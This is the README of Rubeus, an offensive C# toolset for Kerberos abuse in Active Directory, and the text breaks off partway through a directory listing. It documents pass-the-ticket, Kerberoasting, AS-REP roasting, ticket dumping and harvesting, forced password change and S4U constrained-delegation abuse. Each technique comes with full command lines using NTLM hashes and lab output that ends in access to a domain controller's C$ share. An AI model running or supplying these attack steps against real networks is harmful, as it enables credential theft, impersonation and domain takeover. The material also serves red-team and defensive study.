# Rubeus ---- Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 license) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist. Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code! The [KerberosRequestorSecurityToken.GetRequest](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method for Kerberoasting was contributed to PowerView by [@machosec](https://twitter.com/machosec). [@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base. Rubeus is licensed under the BSD 3-Clause license. ## Usage Rubeus usage: Retrieve a TGT based on a user hash, optionally applying to the current logon session or a specific LUID: Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid] Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session: Rubeus.exe asktgt /user:USER /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit: Rubeus.exe renew [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew] Reset a user's password from a supplied TGT (AoratoPw): Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] Retrieve a service ticket for one or more SPNs, optionally applying the ticket: Rubeus.exe asktgs [/dc:DOMAIN_CONTROLLER] [/ptt] Perform S4U constrained delegation abuse: Rubeus.exe s4u /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u /user:USER [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt] Submit a TGT, optionally targeting a specific LUID (if elevated): Rubeus.exe ptt [/luid:LOGINID] Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): Rubeus.exe purge [/luid:LOGINID] Parse and describe a ticket (service ticket or TGT): Rubeus.exe describe Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID: Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] Perform Kerberoasting: Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."] Perform Kerberoasting with alternate credentials: Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/ou:"OU,..."] Perform AS-REP "roasting" for users without preauth: Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: Rubeus.exe tgtdeleg [/target:SPN] Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions: Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] Monitor every MINUTES (default 60 minutes) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire: Rubeus.exe harvest [/interval:MINUTES] NOTE: Base64 ticket blobs can be decoded with : [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa...")) ## asktgt The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (/rc4 or /aes256). If no /domain is specified, the computer's current domain is extracted, and if no /dc is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:X flag will apply the ticket to the specified logon session ID (elevation needed). Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the /ptt option. A workaround is to use the **/createnetonly:X** parameter, or request the ticket and apply it to another logon session with **ptt /luid:X**. c:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1537 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg ...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /createnetonly:C:\Windows\System32\cmd.exe ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Create Process (/netonly) [*] Showing process : False [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 [+] ProcessID : 4988 [+] LUID : 6241024 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Target LUID : 6241024 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y' [*] Connecting to 192.168.52.100:88 [*] Sent 232 bytes [*] Received 1405 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFFjCCBRKgAwIB...(snip)... [*] Action: Import Ticket [*] Target LUID: 0x5f3b00 [+] Ticket successfully imported! **Note that the /luid and /createnetonly parameters require elevation!** ## asktgs The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The /ptt flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more /service:X SPNs must be specified, comma separated. C:\Temp\tickets>Rubeus.exe asktgt /user:harmj0y /rc4:2b576acbe6bcfda7294d6bd18041b8fe ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y' [*] Connecting to 192.168.52.100:88 [*] Sent 232 bytes [*] Received 1405 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIFFjCCBRKgAwIBBa...(snip)... C:\Temp\tickets>Rubeus.exe asktgs /ticket:doIFFjCCBRKgAwIBBa...(snip...)== /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGS [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ request for: 'LDAP/primary.testlab.local' [*] Connecting to 192.168.52.100:88 [*] Sent 1384 bytes [*] Received 1430 bytes [+] TGS request successful! [*] base64(ticket.kirbi): doIFSjCCBUagAwIBBaEDA...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! [*] Action: Ask TGS [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ request for: 'cifs/primary.testlab.local' [*] Connecting to 192.168.52.100:88 [*] Sent 1384 bytes [*] Received 1430 bytes [+] TGS request successful! [*] base64(ticket.kirbi): doIFSjCCBUagAwIBBaEDAgE...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Temp\tickets>C:\Windows\System32\klist.exe tickets Current LogonId is 0:0x570ba Cached Tickets: (2) #0> Client: harmj0y @ TESTLAB.LOCAL Server: cifs/primary.testlab.local @ TESTLAB.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 9/30/2018 18:17:55 (local) End Time: 9/30/2018 23:17:01 (local) Renew Time: 10/7/2018 18:17:01 (local) Session Key Type: AES-128-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: #1> Client: harmj0y @ TESTLAB.LOCAL Server: LDAP/primary.testlab.local @ TESTLAB.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize Start Time: 9/30/2018 18:17:55 (local) End Time: 9/30/2018 23:17:01 (local) Renew Time: 10/7/2018 18:17:01 (local) Session Key Type: AES-128-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: ## renew The **renew** action will build/parse a raw TGS-REQ/TGS-REP TGT renewal exchange using the specified /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the renewal traffic. The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. Note that TGTs MUST be renewed before their EndTime, within the RenewTill window. c:\Rubeus>Rubeus.exe renew /ticket:doIFmjCC...(snip)... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Renew TGT [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a' [*] Connecting to 192.168.52.100:88 [*] Sent 1500 bytes [*] Received 1510 bytes [+] TGT renewal request successful! [*] base64(ticket.kirbi): doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg ...(snip)... The **/autorenew** flag will take an existing /ticket .kirbi file, sleep until endTime-30 minutes, auto-renew the ticket and display the refreshed ticket blob. It will continue this renewal process until the allowable renew-till renewal window passes. C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Auto-Renew TGT [*] User : harmj0y@TESTLAB.LOCAL [*] endtime : 9/24/2018 3:34:05 AM [*] renew-till : 9/30/2018 10:34:05 PM [*] Sleeping for 165 minutes (endTime-30) before the next renewal [*] Renewing TGT for harmj0y@TESTLAB.LOCAL [*] Action: Renew TGT [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\harmj0y' [*] Connecting to 192.168.52.100:88 [*] Sent 1370 bytes [*] Received 1378 bytes [+] TGT renewal request successful! [*] base64(ticket.kirbi): doIFFjCCBRKg...(snip)... [*] User : harmj0y@TESTLAB.LOCAL [*] endtime : 9/24/2018 8:03:55 AM [*] renew-till : 9/30/2018 10:34:05 PM [*] Sleeping for 269 minutes (endTime-30) before the next renewal ## changepw The **changepw** action will take a user's TGT .kirbi blog and execute a MS kpasswd password change with the specified /new:X value. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the password reset traffic. This is the Aorato Kerberos password reset disclosed in 2014, and is equivalent to Kekeo's misc::changepw function. C:\Temp\tickets>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(snip)...== /new:Password123! ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.2.0 [*] Action: Reset User Password (AoratoPw) [*] Changing password for user: harmj0y@TESTLAB.LOCAL [*] New password value: Password123! [*] Building AP-REQ for the MS Kpassword request [*] Building Authenticator with encryption key type: rc4_hmac [*] base64(session subkey): nX2FOQ3RsGxoI8uqIg1zlg== [*] Building the KRV-PRIV structure [*] Connecting to 192.168.52.100:464 [*] Sent 1347 bytes [*] Received 167 bytes [+] Password change success! ## s4u The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server. First, a valid TGT/KRB-CRED file is needed for the account with constrained delegation configured. This can be achieved with the **asktgt** action, given the NTLM/RC4 or the aes256_cts_hmac_sha1 hash of the account. The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions. The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (/altservice:cifs,HOST,...). Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange. c:\Temp\tickets>Rubeus.exe asktgt /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1377 bytes [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaE...(snip)... c:\Temp\tickets>Rubeus.exe s4u /ticket:C:\Temp\Tickets\patsy.kirbi /impersonateuser:dfm.a /msdsspn:ldap/primary.testlab.local /altservice:cifs /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' [*] Impersonating user 'dfm.a' to target SPN 'ldap/primary.testlab.local' [*] Final ticket will be for the alternate service 'cifs' [*] Sending S4U2self request [*] Connecting to 192.168.52.100:88 [*] Sent 1437 bytes [*] Received 1574 bytes [+] S4U2self success! [*] Building S4U2proxy request for service: 'ldap/primary.testlab.local' [*] Sending S4U2proxy request [*] Connecting to 192.168.52.100:88 [*] Sent 2618 bytes [*] Received 1798 bytes [+] S4U2proxy success! [*] Substituting alternative service name 'cifs' [*] base64(ticket.kirbi): doIGujCCBragAwIBBaEDAgE...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! Alternatively using a /user and /rc4 : C:\Temp\tickets>dir \\primary.testlab.local\C$ The user name or password is incorrect. C:\Temp\tickets>Rubeus.exe s4u /user:patsy /domain:testlab.local /rc4:602f5c34346bc946f9ac2c0922cd9ef6 /impersonateuser:dfm.a /msdsspn:LDAP/primary.testlab.local /altservice:cifs /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v1.0.0 [*] Action: Ask TGT [*] Using rc4_hmac hash: 602f5c34346bc946f9ac2c0922cd9ef6 [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy' [*] Connecting to 192.168.52.100:88 [*] Sent 230 bytes [*] Received 1377 bytes [+] TGT request successful! [*] base64(ticket.kirbi): doIE+jCCBPagAwIBBaEDAg...(snip)... [*] Action: S4U [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) [*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy' [*] Impersonating user 'dfm.a' to target SPN 'LDAP/primary.testlab.local' [*] Final ticket will be for the alternate service 'cifs' [*] Sending S4U2self request [*] Connecting to 192.168.52.100:88 [*] Sent 1437 bytes [*] Received 1574 bytes [+] S4U2self success! [*] Building S4U2proxy request for service: 'LDAP/primary.testlab.local' [*] Sending S4U2proxy request [*] Connecting to 192.168.52.100:88 [*] Sent 2618 bytes [*] Received 1798 bytes [+] S4U2proxy success! [*] Substituting alternative service name 'cifs' [*] base64(ticket.kirbi): doIGujCCBragAwIBBaE...(snip)... [*] Action: Import Ticket [+] Ticket successfully imported! C:\Temp\tickets>dir \\primary.testlab.local\C$ Volume in drive \\primary.testlab.local\C$ has no label. Volume Serial Number is A48B-4D68 Directory of \\primary.testlab.local\C$ 03/05/2017 05:36 PM